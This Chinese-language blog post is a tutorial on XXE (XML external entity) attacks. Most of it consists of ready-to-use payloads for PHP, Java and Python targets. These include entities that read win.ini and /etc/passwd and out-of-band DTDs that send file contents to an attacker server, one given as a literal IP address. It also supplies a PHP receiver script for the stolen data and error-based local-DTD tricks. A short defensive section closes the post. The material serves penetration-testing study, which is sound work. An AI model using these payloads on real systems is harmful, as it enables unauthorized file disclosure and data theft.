XXE漏洞浅析
2024-12-01 22:18:13 # 漏洞原理

黑盒测试

  1. Content-Type或者数据类型是xml时可以进行xml语言payload测试
  2. 将Content-Type或者数据类型改为xml进行测试
  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

示例

传输数据示例

image-20241201104350426

白盒测试

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

PHP有回显利用

  1. 文件读取
  2. 外部实体引用DTD

文件读取

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE RF [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>1</password></user>

需要注意,在数据引用部分需要使用&来引用实体以及;结束

外部实体引用DTD

在服务器上新建一个text.dtd文件,内容如下:

1
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">

可以看出该文件其实就是我们上面那个数据包里面定义实体部分,这里的外部实体引用指的就是引用来自外部的dtd文件中定义的实体

发送的数据包:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8080/test.dtd">
%file;
]>
<user><username>&test;</username><password>1</password></user>

image-20241201112222314

下面是对数据包的解释:

  1. <!ENTITY % file SYSTEM "http://127.0.0.1:8080/test.dtd">:定义了一个参数实体 file,其值是通过SYSTEM标识符指定的URL http://127.0.0.1:8080/test.dtd。这意味着XML解析器会尝试从该URL获取DTD文件。
  2. %file;:在文档中引用了参数实体 file,这会导致XML解析器将 file 实体的内容(即从 http://127.0.0.1:8080/test.dtd 获取的内容)插入到文档中

PHP无回显利用

带外测试

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://sgxn5y.dnslog.cn">
%file;
]>
<user><username>&test;</username><password>1</password></user>

除了DNSLOG外,我们还能在自己的服务器上使用python开一个http服务查看是否有请求

1
python3 -m http.server 8088
1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://服务器地址:8088">
%file;
]>
<user><username>&send;</username><password>1</password></user>

image-20241201113056600

无回显读文件

思路大致为在服务器中建立一个DTD文件用于被靶机引用,同时起一个服务用于记录靶机发来的文件内容,在DTD文件中写入一个实体用于发送文件

test.dtd

1
<!ENTITY % all "<!ENTITY sendfile SYSTEM 'http://ip/get.php?file=%file;'>">

get.php

1
2
3
4
5
6
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

数据包:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;
%all;
]>
<user><username>&sendfile;</username><password>1</password></user>

如果没有文件的话可以直接起一个http服务来测试

image-20241201115625579

需要注意的是,读出的文件不能包含空格和中文等特殊字符,会报错

image-20241201115830954

对于php环境可以使用伪协议读文件,只需要将请求包里面的file改一下,除了filter协议还有很多协议自行查找学习

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">

JAVA有回显利用

同PHP

JAVA无回显利用

evil.dtd

1
2
3
<!ENTITY % passwd SYSTEM "file:///e:/1.txt">
<!ENTITY % wrapper "<!ENTITY &#x25; send SYSTEM 'http://116.205.237.158:8088/%passwd;'>">
%wrapper;

数据包

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
%send;
]>
<output>123</output>

可以包含空格,但是不能有特殊字符,对于特殊字符,可以使用ftp

Python有无回显利用

同上

本地实体引用

当外部实体被禁用时,可以尝试本地实体引用外部实体达触发报错,把数据带出来

linux

1
2
3
4
5
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd

/usr/share/libgweather/locations.dtd

/usr/share/yelp/dtd/docbookx.dtd
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
%local_dtd;
]>

win

1
2
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd">


<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "file:///c:/windows/system.ini">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>


%local_dtd;
]>
<message>any text</message>

image-20241201164848985

防御方案

禁用外部实体

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

1
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户数据

过滤<!DOCTYPE<!ENTITY或者SYSTEMPUBLIC等关键词

代码审计

PHP : simplexml_load_string()

Python: etree.fromstring()